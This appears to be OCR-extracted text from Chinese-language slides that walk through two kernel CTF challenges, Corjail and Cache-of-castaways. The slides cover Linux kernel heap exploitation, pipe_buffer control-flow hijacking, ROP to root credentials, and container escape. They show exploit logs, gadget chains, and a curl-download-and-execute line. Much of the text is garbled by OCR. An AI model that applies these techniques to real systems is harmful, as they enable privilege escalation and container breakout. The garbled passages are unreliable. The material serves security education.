> FEIX struct pipe_buffer IZEHIFZ V1T

b #4T ROP BEAR container
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Corjalil
Exploit - Control execution flow by pipe_buffer

> HIRULEEE (spray —> overlapping —> spray —> ...) AIAARENER » FIt F—2 &8
A2l rT 2R 4558 RY function pointer & function table pointer

> SFE—ERBFIINE R struct tty_struct » ML A/NETE kmalloc-1024

> HIZE:

@ HY15 victim tty_struct A9zt

@ Fg§%= user_key_payload Ed victim tty_struct E

60



Corjalil
Exploit - What is pty

> SFEAEREENNIT M ANTFTTEHEBZE serial port E1EAY terminal =S > EiE
ELEEBTTE@/%TEE*HVE tty

P MERmEST  EEHANFETIATERINEEINGERE L > MEHEESEEF
IRASEE » Six(FHEEEEE tty BIERIEMIB{E pty (pseudoterminal)

> EHA pty X 70 B

=F

LI

=2 © master (ptmx) 1 slave (pts)
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Corjalil
Exploit - What is pty

> Bt local EEIRERATED (ssh) @ remote server (sshd) E1TE 4R » sshd & :

@ Fork —{E¥THY process (sshd) KREIBZEEAR » FIEN—1E /dev/ptmx

@ 1% /dev/pts/<number> E[o]Z std{in,out,err} > #H 1T bash

> sshd By socket B ERINER » WiEEREOE /dev/pmtx » M¥ER /dev/pts/
<number> BY bash FiZEEINEIER » WHITEERNGBS
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Corjalil
Exploit - What is pty
> NEEVBER wiki

..>» Write to file (transcript)

User space

Kernel space

write() stdout

stdout
stderr

stderr

Pseudo ter-
. Pseudo ter- .
Terminal AT minal slave
(/dev/pts/...)

keyboard input

terminal outpu
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Corjalil

Exploit - Control execution flow by pipe_buffer

I

> SRR /dev/ptmx BF > kernel space 9B —1{EXK/J\VE R kmalloc-1024 R struct
tty struct » EF4EEANE MBS function pointer

> BRUCZIMEE o HC kmalloc-32 AY struct tty file private » S8—1{E L &¥5[@ tty_struct

I struct tty struct {

int magic;
struct kref kref; 1 struct tty file private {

struct device *dev; Z struct tty_struct *tty;
struct file *file;

struct list head 1list;
int index;
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seg_operation
(user_key_payloa
d)

poll_list

kmalloc-32

seg_operation
(user_key_payloa
d)

tty_file_private

tty file_private

65

kmalloc-1024

tty_struct

tty_struct




Corjalil
Exploit - Control execution flow by pipe_buffer

P l7% key £x % REBEDHC 200 & » BBt 2ETEFA > FRLATE spray tty_struct Bt
/RJ overlap Ellj ﬁi’ml:l #nﬂ*gﬁiié

> WIRELIN spray tty file_private £l user_key_payload N/ » BLEE leak tty_struct Y45
fE

[ ] spray seq_operation to make type confusion
[*x] try to leak kern address success !

[+] kern_base: Oxffffffff21000000

[*x] free user key except corrupted one

[x] spray tty_file_private

[x]1 _trv to leak hean address success !

[+] h

eap_base: Oxffff95c696del800

f a .
B \lllrJY -
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Corjalil

Exploit - Control execution flow by pipe_buffer

> BA [ tty_struct BY heap fifllt18 » BREEHHE:E user_key _payload 7
ZFT{EHM tty_struct 28 = 9ME

L\/(E%lu\## /i A

> MisElEEN T

@ IEINPFA seq operation

@ Spray A/NEIL kmalloc-32 A9 poll_list

@ ¥ERY corrupted user_key payload

@ setxatter 3%&

#l rcu.next & tty_struct i1k >

2=, ffT

1R spray user_key payload
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seg_operation
(user_key_payloa
d)

tty file_private

tty file_private

68

tty_struct

tty_struct




IEIEfA seq_operation

Freed
user_key_payloa
d

tty_struct

tty file_private

tty_struct

tty file_private
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spray poll_list

poll_list
(user_key_payloa
d)

tty_struct

tty file_private

tty_struct

tty file_private
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I2 Y user_key payload

Freed
poll_list

tty_struct

tty file_private

tty_struct

tty file_private

/1



spray user_key_ payload
with setxattr

user_key_payloa
d
(poll_list)

tty file_private

tty file_private

(2

tty struct - Ox18

tty_struct

tty_struct




Corjalil

Exploit - Control execution flow by pipe_buffer

Zitt » Eh—1@ poll_list B9 next @35[4 tty_struct » ZZl polling thread 455 >
tty_struct M E#F=EHX

allf
N

> RBEFIRLESSFBEBEGRE struct pipe_buffer » [EHxAF kmalloc-1024 » thE
function table pointer B] A& T

1 struct pipe buffer ({
struct page *page;

9 struct pipe buf operations {

unsigned int offset, len; int (*confirm) (struct pipe inode info *, struct pipe buffer *);

*, struct pipe buffer *);
*, struct pipe buffer *);
*, struct pipe buffer *);

- - void (*release) (struct pipe inode info
const struct pipe buf operations *ops; ( ) ( Pibe_ —

12 bool (*try steal) (struct pipe inode info
unsigned int flags; .

bool (*get) (struct pipe inode info
unsigned long private;

/3



Corjalil

Exploit - Control execution flow by pipe_buffer

close fd & worker#1T

void free pipe info(struct pipe inode info *pipe)
{
struct pipe inode info *alloc pipe info(void) int i;
{ 4 // ring size = 0x10;
struct pipe inode info *pipe; 5 for (i = 0; i < pipe->ring size; i++) {
unsigned long pipe bufs = PIPE DEF BUFFERS; 6 struct pipe buffer *buf = pipe->bufs + 1i;
if (buf->ops)
pipe buf release(pipe, buf);

kcalloc (pipe bufs, sizeof(struct pipe buffer),

GFP_KERNEL ACCOUNT) ;
static inline void pipe buf release(struct pipe inode info *pipe,

_ struct pipe buffer *buf)
return pipe; -

const struct pipe buf operations *ops = buf->ops;
buf->ops = NULL;

ops->release(pipe, buf);

Nl =i

}
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Corjalil
Exploit - Control execution flow by pipe buffer
> BIRINTEE :
@ FEINFRA tty_struct

@ [F0Y sys pipe 2R spray struct pipe_buffer

@ % polling thread £

> Ex{&7T spray kmalloc-1024 B user_key_payload > i B] LAIEHIZE(E pipe_buffer B%E
1&
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tty struct - Ox18

user_key_payloa
d
(poll_list)

ZERA tty struct

tty file_private

tty file_private

/6



tty struct - Ox18

pipe_buffer spray with pipe_buffer

user_key_payloa
d
(poll_list)

tty file_private

pipe_buffer

tty file_private

(7



Polling thread ZE{F455k #'E 1F chunk FERXIL

Freed
user_key_payloa
d

tty file_private

pipe_buffer

tty file_private

/8



Freed

user_key_payloa

d

tty file_private

tty file_private

/9

user_key_payloa
d

pipe_buffer

spray user_key_ payload




$ Corijail

Exploit - Do ROP and escape container

b &5 Off-By-Null

P =5 struct poll_list object BUSEEFZLNAY primitive

b F=ZIN struct user_key_payload EY15§ oob read » £#£1L5 leak kernel address

P FEHX struct pipe_buffer IEHIFEEN1T

> #1T ROP BkRE container

80



Corjalil

Exploit - Do ROP and escape container

=

free_pipe_info & BYEC

> & FRZ7E pipe_buf release #{TEY L function pointer
ops » Wi#H{T ops->release(pipe, buf) » thFh 2 rsi 5[0

B Z1F user_key_payload B fX Oxff » A # 1T

=L
=]
1CA

RefAn A

HINIE P I RY A S & FTHERY

81

> OxFfffffff812b5270

oxffffffff812b5271
oxffffffff812b5274
oxffffffff812b5275
oxffffffff812b5278
oxffffffff812b527f
oxffffffff812b5282
oxffffffff812b5288
Oxffffffff812b528f

| DISASM ]

<free_pipe_info> push rbp
<free_pipe_info+1> mov rbp, rdi
<free_pipe_info+4> push rbx
<free_pipe_info+5> mov eax, dword
<free_pipe_info+8> mov rdx, qword
<free_pipe_info+15> neg rax
<free_pipe_info+18> lock xadd qword pt
<free_pipe_info+24> mov rdi, qword

oxffffffff812b5294

<free_pipe_info+31>

<free_pipe_info+36>

call free_uid

mov eax, dword

Oxffffffff812b5297 <free_pipe_info+39> test eax, eax
| STACK |
00:0000| rsp —»
, eax
01:0008 —» «— Ox0
02:0010 «— Ox2c0002
03:0018 —»> «— Ox3e8C
04:0020 —»
ptr [r12]
05:0028 —» «— Ox0
06:0030 «— 0Ox0
07:0038 —» «— 0Ox100
| BACKTRACE ]
» f 0 Oxffffffff812b5270 free_pipe_info
f 1 oxffffffff812b5353
f 2 oxffffffff812b5407 pipe_release+167
f 3 oxffffffff8l2ac5ee __fput+142
f 4 Oxffffffff810e52fb task _work_run+107
f 5 oxffffffff81137d25 exit_to_user_mode_prepare+213
f 6 Oxffffffff81137d25 exit_to_user_mode_prepare+213
f 7 oxffffffff81137d25 exit_to_user_mode_prepare+213

$46 = {

p *((struct pipe_inode_info *)$rdi)->bufs

page = Oxffffffffffffffff,

offse
len
ops
flags
priva

t = 4294967295,
4294967295,

oxffFFfFFFFFFFFFfe,

= 4294967295,

te = 18446744073709551615



$ Corijail
Exploit - Do ROP and escape container

0)(0]0 add rsp, 0x78 ; ret

S ops
_ ops->release(..., buf)
0x30
Ox38 push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
Ox66 pop rsp ; ret
0x80 gadget1
gadget?2

target pipe_buff
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$ Corijail

Exploit - Do ROP and escape container

rsi 35[0 buf » EItt pop

rsp 1& stack Bi2EI LA

0)(0]0)
Ox10

0x30
0x38

0x66

0x80

add rsp, 0x78 ; ret

.confirm
-release

pop rsp ; ret

gadgett
gadget?2

target pipe_buff

83

push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]



$ Corijail
Exploit - Do ROP and escape container

0)(0]0 add rsp, 0x78 ; ret

ox10 TR
0x30
0x38 push rsi ; in eax, dx ; jmp qword ptr [rsi + 0x66]
0x66 pop rsp ; ret
0x80 gadget1
gadget2 stack pivoting

target pipe_buff
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Corjalil
Exploit - Do ROP and escape container
» ROP gadget Z#HIEBF 0 A REER D

-
=]

@ Root I}

> creds = prepare_kernel_cred(0)

> commit_creds(creds)

@ 1JJ#2 namespace
> task = find_task_by_vpid(1)

> switch_task_namespaces(task, init_nsproxy)

> 1£ userspace U setns > &= BIEN1TAY process 25 ERI namespace
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Corjalil
Exploit - Do ROP and escape container
P task = find_task_by_vpid(1)

P switch_task_namespaces(task, init_nsproxy)

> i@ setns # seccomp &8 7 > process 1R #EAETIR namespace

:/$ 1s -al /proc/1/ns :/tmp# 1ls -al /proc/1l/ns
total 0 total 0
dr-x—-—-x--x 2 user user 0 Oct 22 19:41 . dr-x--x--x 2 user user 0 Oct 22 19:51
dr-xr-xr-x 9 user user 0 Oct 22 19:29 .. dr-xr-xr-x 9 user user 0 Oct 22 19:51 ..
Trwxrwxrwx 1 user user 0 Oct 22 19:41 =5 Lrwxrwxrwx 1 user user 0 Oct 22 19:51 cgroup —-> 'cgroup:[4026531835]"
lrwxrwxrwx 1 user user 0 Oct 22 19:41 -> Lrwxrwxrwx 1 user user 0 Oct 22 19:51 ipc -> 'ipc:[4026531839]"'
Trwxrwxrwx 1 user user 0O Oct 22 19:41 -> Lrwxrwxrwx 1 user user 0O Oct 22 19:51 mnt -> 'mnt:[4026531840]"'
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 -> Lrwxrwxrwx 1 user user 0 Oct 22 19:51 net -> 'net:[4026531992]"
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 -> Lrwxrwxrwx 1 user user 0 Oct 22 19:51 pid -> 'pid:[4026532161]"
lrwxrwxrwx 1 user user 0 Oct 22 19:41 -> lrwxrwxrwx 1 user user 0 Oct 22 19:51 pid_for_children -> 'pid:[4026531836]"
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 —> lrwxrwxrwx 1 user user O Oct 22 19:51 time -> 'time:[4026531834]'
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 —> Trwxrwxrwx 1 user user O Oct 22 19:51 time_for_children -> 'time:[4026531834]"
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 =2 lrwxrwxrwx 1 user user O Oct 22 19:51 user -> 'user:[4026531837]"
Lrwxrwxrwx 1 user user 0 Oct 22 19:41 = lrwxrwxrwx 1 user user O Oct 22 19:51 uts -> 'uts:[4026531838]"
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Corjalil
Exploit - Do ROP and escape container

9 % ROP 1ﬁ& Setns E(J*%ﬁj:%{/ﬁ 1  SYSCALL DEFINE2(setns, int, fd, int, flags)

2 {
3 struct file *file;
@ sys_setns —FREBM—LIRE » FBAEER struct neset naget = (7 |

int err = 0;

@ ﬁ}'l' — 8 file = fget(£fd);
‘ 1T prepare_nsset o if (proc_ns file(file)) {
0 ns = get proc _ns(file inode(file));

flags = ns->ops->type;

r=— V

% ﬁ)-tl,'fi' COmmlt_nsset ’ }; JE/\EE}i/—\EEﬁﬂ,fT : J } else if (!IS_ERR(pidfd pid(file))) {

err = check setns flags(flags);

}

> Current->fS->rOOt — nSSGt->fS->rOOt ; err = prepare nsset(flags, &nsset);

proc _ns file(file

err = validate ns(&nsset, ns);

> current->fs->pwd = nsset->fs->pwd 19 else

err = validate nsset(&nsset, file->private data);

> current->nsproxy = nsset->nsproxy
(switch_task_namespaces) 24 fput(file);

return err;
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Corjalil
Exploit - Do ROP and escape container

> #11T prepare_nsset :

@ nsset_>fs — COpy_fs_struct(me_>fs) i jtatic int prepare nsset(unsigned flags, struct nsset *nsset)

struct task struct *me = current;
_,_l

? /Q\/_\EE ROP EQ}ﬁl‘j:u'\j-%? E'Il] prOCGSS $;L{[i. t nsset->nsproxy = create new namespaces(0, me, current user ns(), me->fs);

if (flags & CLONE NEWUSER)

nsset->cred = prepare creds();

@ current->fs = copy_fs_struct(init_fs) e

nsset->cred = curren t cred();

N - (-

if (flags == CLONE NEWNS)

] D (@] [T w

nsset->flags = flags;

1
1
1
1
1
1
16
17
18
19

return 0;

-
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| |
/S cd /tmp && curl 10.1.100.42:8000/test -o test && chmod +x ./tes
% Total % Received % Xferd Average Speed Time Time Time Currenﬂ
Dload Upload Total Spent Left Speed
100 1601k 100 1601k 0] 0] 195M O —t——!— ——i-——i-—— ——i——:—— 223M

Exploit - Do ROP and escape container ...

[*] squeeze dry kmalloc-32 with seq_operation
[x] spray user_key_payload in kmalloc-32 to get new slab
[x] create polling thread
[*] spray more user_key_payload in kmalloc-32
? t]J j: namespace [x] trigger null byte oob write
[*] join polling thread
[*x] spray seq_operation to make type confusion
. . [*] try to leak kern address success !
: — [+] kern_base: 0Ox0000000000000000
@ taSk o flnd—taSk—by—Vpld(1) [x] free user key except corrupted one
[x] spray tty_file_private
[*] try to leak heap address success !
1 - . . [+] heap_base: Oxffff88801a5cOcO0
@ SWItCh_taSk_namespaceS(taSk, Inlt_nsproxy) [*] frez Sprayed Seq_oper‘at'ion
[x] refill kmalloc-32 with poll_Llist using polling thread
[x] free corrupted key
: s . [x] spray user_key_payload in kmalloc-32 again to control poll_list.next
@ current->fs = copy_fs_struct(init_fs) [*] replace tty_struct with pipe_buff
- - T [*] wait for polling thread free target pipe_buff
[*x] free all user key
[*] spray kmalloc-1024 key_user_payload to overlap with struct pipe_buffer
[x] hijack control flow

» {B docker container 7£ kenrel space S

:/# echo S$S
> =KA= p— 12
NEIERASEETE :/# s -al [proc/12/ns
total 0
dr-x--x--x 2 root root 0 Oct 22 20:42 .
dr-xr-xr-x 9 root root 0 Oct 22 20:41 ..
9 F' ” ” Lrwxrwxrwx 1 root root © Oct 22 20:42 cgroup —-> 'cgroup:[4026531835]"

Ina y escape . Lrwxrwxrwx 1 root root O Oct 22 20:42 1ipc —-> 'ipc:[4026531839]"
Lrwxrwxrwx 1 root root O Oct 22 20:42 mnt -> 'mnt:[4026531840]"'
Lrwxrwxrwx 1 root root O Oct 22 20:42 net -> 'net:[4026531992]"'
Lrwxrwxrwx 1 root root O Oct 22 20:4Z pid -> 'pid:[4026531836]"
Lrwxrwxrwx 1 root root O Oct 22 20:42 pid_tor_children -> 'pid:[4026531836]"'
Lrwxrwxrwx 1 root root © Oct 22 20:42 time -> 'time:[4026531834]"'
Lrwxrwxrwx 1 root root O Oct 22 20:42 time_for_children -> 'time:[4026531834]'
Lrwxrwxrwx 1 root root O Oct 22 20:42 user -> 'user:[4026531837]'
Lrwxrwxrwx 1 root root © Oct 22 20:42 uts -> 'uts:[4026531838]"'
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Exploit - Other

> REEE kernel ¥ namespace 1 T Hitbigss » 2 -
@ task = find_task_by_vpid(getpid())

@ switch_task_namespaces(task, init_nsproxy)

> Z7A1% container Ffiit T 27

: /tmp$

Buy a CoR SaaS License for only:
> $31337.00/mo <

to unlock all CoROS™ features!
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EXp

loit - Other

» ROP & —1[ push rax ; pop rbx ; ret » REEINEEZR{TE: @ @

]

W key Bl tty BF5

&~/

F1F

—5 » FAERNRERELS worker #1T
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Cache-of-castaways



Cache-of-castaways

Description

2 Kernel module castaway ] pinein cveemion os
| e

~
.

> Module ¥4 {LIAR fEFAZIHIASH

7 char buf][];

} castaway t;

> castaway_cache 1Z1%HYJ object X/\A 512

struct castaway cache

{

9 E% OVERFLOW_SZ % 6 . ?§E§1ﬁgil\’%€ N char buf[CHUNK SIZE];

5> castaway t **castaway arr;

static struct kmem cache *castaway cachep;

static int init castaway driver(void)
{
// ... register
castaway arr = kzalloc(MAX * sizeof(castaway t *), GFP_KERNEL);
castaway cachep = KMEM CACHE (castaway cache, SLAB PANIC | SLAB ACCOUNT);

return 0;
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Cache-of-castaways

Description

> R{EE 35418 ioctl » R o MmEas< : add B edit

@ add - castaway_add

@ edit - castaway_edit

» castaway add - H:5—1[ object if:[2]1& index

26 static long castaway add(void)
27 | {

28 int idx;

29 if (castaway ctr >= MAX)

return -1;

idx = castaway ctr++;

castaway arr[idx] = kmem cache zalloc(castaway cachep, GFP KERNEL ACCOUNT);

return idx;
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Cache-of-castaways

Description

» castaway_edit - EUY index ~ buffer B size » 15 & 1116 5% ¥ & index BY object

t

> E M castaway_arr[ |->buf FHEEHF A/ OVERFLOW_SZ (6) #Y padding » EFrIAER
‘~—1[& object 6 bytes

L -

37 static long castaway edit(int64 t idx, uint64 t size, char *buf)
38  {
39 char temp[CHUNK SIZE];

40 // ... check index and size

41 copy from user(temp, buf, size);

42 memcpy|castaway arr[idx]->buf,) temp, size);

43

44 return size;

45
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Cache-of-castaways

Cross cache overflow

> FA buddy £ slab cache HITHI2RIZE ] cache overflow BYBE1E » th#FE{F cross
cache overflow

> Slab [E/EZH buddy allocator 2R pBLsC |88 ° & slab AZiFEH LA FEILRE

@ new slab

@ allocate slab

@ alloc_slab_page - [0 buddy system E:g page

> Object X/\A 512 bytes BY slab = 553K order-0 page (0x1000 bytes)

= buddy system 25157 order-n BUEEKE A M E » B¢ order-n+1 tFR(EA » WX
n+1 28 0 §Ln+2,43 ...
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Cache-of-castaways

Exploit - Drain cred_jar

> 4C8E process #1THEFRAY struct cred 2 H “cred_jar” cache B :5

> BHiiE@E A= fork 2K drain “cred_jar” cache

struct cred *prepare creds(void)

{
struct task_struct *task = current;
const struct cred *old;

void __init cred_init(void) t t d *
struct cre new;

{

/* allocate a slab in which we can store credentials */

cred_jar - kmem_cache_create('cred_jar', sizeof(struct cred), 0, validate_process_creds();
SLAB_HWCACHE ALIGN|SLAB PANIC|SLAB_ACCOUNT, NULL);

new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
1f (!new)
return NULL:

#0151 )iy

97



% Cache-of-castaways

Exploit - Drain cred_jar

Unused puts("[+] draining cred_jar");
for (int 1 = 0; 1 < CRED_JAR_INITIAL_SPRAY; 1i++)
{
pid_t pid = fork();
if (!pid)
idle();

if (pid < 0) {
panic("[-] fork failed");

}
Unused }
Unused Used
cred_jar (before) cred_jar (after)
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% Cache-of-castaways
Exploit - Control buddy & slab

b K=EHiE—1E order-0 FIECIEEE 2 » B2 @815 L0 order-0 # E2EE S Y order
buddy K1) » HEREC|EESEAE




% Cache-of-castaways
Exploit - Control buddy & slab

b AT iE% chunk &1 > [BIRENR
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% Cache-of-castaways
Exploit - Control buddy & slab

» ScRJ cred_jar cache BA&FESE » 555K buddy system FTAYEC B RS ZE fE] 2R {F

[

ar ar ar ar
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% Cache-of-castaways
Exploit - Control buddy & slab

> FERCGE T HY order-0 32152

ar ar ar ar
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% Cache-of-castaways
Exploit - Control buddy & slab

> [o] castaway_cache :53K:C1Ef2 » castaway_cache &g buddy system 53K

order-0 page 2R{£H

, —TE®HB—ULE struct cred # castaway B overwrite 6 bytes 43 37£

way ar way ar way ar

103

casta | cred_j
way ar



% Cache-of-castaways

Exploit - Overwrite cred.uid

b 3B EEE 28535 struct cred YR E uid HEIIRHE

way ar way ar way ar way ar
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Cache-of-castaways
Exploit - Allocate / free page

> BEDEC page =& B packet_setsockopt

cllkd

int alloc_pages_via_sock(uint32_t size, uint32_t n)
{

struct tpacket_req req;

int32_t socketfd, version;

=

@ tp_block_size JRRZ

order-n

// we has became privileged user in new user namespace
// so we can use type "SOCK_RAW"
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);

@ tp_bIOCk_nr 55%2‘27%%13 if (socketfd < 0)

panic( E:

version = TPACKET_V1;

9 PaCket VerSiOn % TPACKET_V{1 ,2} // PACKET_VERSION - to create another variant ring (v2, v3 ...)

if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0)

panic( ) s
? OptiOn name % PACKET_{RX,TX}_RING assertisize % | ::f(); jj page alignment
memset (&req, 0, sizeof(req));

req.tp_block_size = size;
req.tp_block_nr = n;
biLC -

nr = (req.tp_block_size x req.tp_block_nr) / req.tp_frame_size;

? %,E}\J-Q;‘T:}igj:ﬁ Close SOCket fd El]ﬂ if (;zzjzikopt(socketfd, SOL_PACKET, PACKET_TX_R??G, &req, sizeof(req)) < 0)

return socketfd;

rey. Lp_1rdaic

req.tp_frame

-
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